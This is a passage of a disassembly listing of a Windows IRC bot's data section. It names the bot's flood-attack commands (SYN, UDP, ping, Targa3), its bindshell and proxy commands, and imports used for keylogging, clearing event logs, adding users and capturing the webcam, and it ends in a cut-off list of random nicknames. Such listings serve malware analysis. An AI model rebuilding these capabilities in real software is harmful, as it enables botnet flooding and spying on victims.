sub_401ACD+13D3o dword_42CB8C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1332o ; sub_401ACD+13CEo dword_42CB9C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1319o ; sub_401ACD+13AAo dword_42CBAC dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1314o ; sub_401ACD+13A5o dword_42CBBC dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B9o ; sub_401ACD+1425o dword_42CBC8 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o ; sub_401ACD+1420o dword_42CBD4 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo ; sub_401ACD+13FCo dword_42CBE0 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o ; sub_401ACD+13F7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1236o align 4 dword_42CBF8 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Bo ; sub_401ACD+12F8o dword_42CC04 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o ; sub_401ACD+12F3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Do align 4 dword_42CC1C dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1202o ; sub_401ACD+12DAo dword_42CC2C dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FDo ; sub_401ACD+12D5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E4o align 4 dword_42CC48 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D9o ; sub_401ACD+1358o dword_42CC58 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D4o ; sub_401ACD+1353o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BBo align 4 dword_42CC74 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o ; sub_401ACD+127Ao dword_42CC80 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo ; sub_401ACD+1275o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1192o dword_42CC94 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1187o ; sub_401ACD+125Co dword_42CCA0 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o ; sub_401ACD+1257o dword_42CCAC dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o dword_42CCB8 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Eo dword_42CCC8 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1159o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1140o align 4 dword_42CCE8 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o dword_42CCF4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1130o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1117o dword_42CD08 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Co aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EEo align 4 dword_42CD24 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C5o align 10h dword_42CD40 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BDo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Fo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+108Ao align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1075o align 4 dword_42CD68 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1053o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Eo ; sub_401ACD+10B8o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1035o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+1020o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Bo align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF6o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE1o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCCo ; sub_401ACD+2D6Ao aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB7o ; sub_401ACD+2D59o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA2o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Do align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F78o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F63o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Eo aVersion db 'version',0 ; DATA XREF: sub_401ACD+F39o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F24o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Fo align 4 aD: ; DATA XREF: sub_401ACD+EFAo ; ___:00438314o ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE5o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ED0o align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB8o a63 db '63',0 ; DATA XREF: sub_401ACD+D85o align 4 asc_42CE14: ; DATA XREF: sub_401ACD+D5Do unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D20o align 10h aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D15o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D04o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE8o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD7o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC5o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C57o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B93o align 4 asc_42CE54: ; DATA XREF: sub_401ACD+ABBo ; ___:0043832Co ... unicode 0, <l>,0 unk_42CE58 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CE8C db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CEBC db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42CEF4 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42CF1C db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 10h unk_42CF60 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CF9C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42CFB4 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42CFBC dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42CFD8 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42CFE4 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA80+1Bo unk_42CFE8 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42D024 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42D02C dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADDo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A73+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A73+16o unk_42D040 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42D064 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 10h aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 10h aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42D0B8 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBDo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Fo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177D0:loc_417838o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177D0+50o align 4 asc_42D124: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DAEo unicode 0, <!>,0 asc_42D128: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Do ... unicode 0, < >,0 asc_42D12C db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402602o align 10h aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B13:loc_40A77Do align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B13+C15o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B13+C08o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B13+BFBo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B13+BEEo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B13+BE1o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B13:loc_40A6DFo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B13+B97o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B13+B8Fo align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B13:loc_40A695o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B13:loc_40A621o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B13+AD1o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B13:loc_40A5D7o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B13:loc_40A58Do align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B13+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo ; sub_4185A5+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B13+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B13+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B13+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B13+9B8o align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B13+9ABo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B13+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B13+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B13+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B13:loc_40A471o ; sub_4185A5+58o align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B13+921o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B13+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B13+90Co align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B13:loc_40A412o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B13+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B13:loc_40A2F2o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B13+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B13+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B13+68Co align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B13+67Fo align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_409B13+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B13+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B13+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B13+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B13+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B13+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B13+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B13+617o align 10h aRecv db 'recv',0 ; DATA XREF: sub_409B13+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B13+5FDo align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_409B13+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B13+5D6o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_409B13+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B13+5BCo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B13+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B13+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B13+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B13+588o aSocket db 'socket',0 ; DATA XREF: sub_409B13+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B13+56Eo align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B13+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B13+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B13+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B13+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B13+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B13+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B13+514o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B13+4A1o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B13+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B13+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B13+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B13+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B13+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B13:loc_409F40o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B13:loc_409F18o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B13+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B13+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B13+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B13+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B13:loc_409E6Ao align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o align 10h aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B13+2C6o align 10h aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B13+2B9o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B13+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B13+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B13+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B13+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B13+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B13:loc_409D72o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B13+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B13+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B13+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B13+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B13+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B13+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B13+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B13+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B13+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B13:loc_409C48o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B13+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B13+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B13+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B13+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B13+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B13+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B13+Ao align 4 unk_42DA2C db 2Dh ; - ; DATA XREF: sub_40A7CF+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o align 4 a_: ; DATA XREF: sub_40F96B+252o unicode 0, <.>,0 unk_42DBBC db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABF1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42DBEC db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40ABBFo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42DC1C db 2Dh ; - ; DATA XREF: sub_40AB32:loc_40AB8Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 10h unk_42DC40 db 2Dh ; - ; DATA XREF: sub_40AB32+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC10+46o ; sub_40BFEC+38o aReal db 'real',0 align 10h dd 0 dword_42DC84 dd 0 ; DATA XREF: sub_40B08E+7o off_42DC88 dd offset sub_40ACB6 ; DATA XREF: sub_40B08E+49r aConst db 'const',0 align 8 dd 1, 40AD23h, 7474656Ch, 7265h, 0 dd 2, 40AD81h, 706D6F63h, 2 dup(0) dd 3, 40ADCEh, 6E756F63h, 797274h, 0 dd 4, 40AE6Ch, 736Fh, 2 dup(0) dd 5, 40AEE1h off_42DCF0 dd offset aAbdulrazak ; DATA XREF: sub_40ACB6+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42DCFC dd offset aAddison ; DATA XREF: sub_40B08E+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz 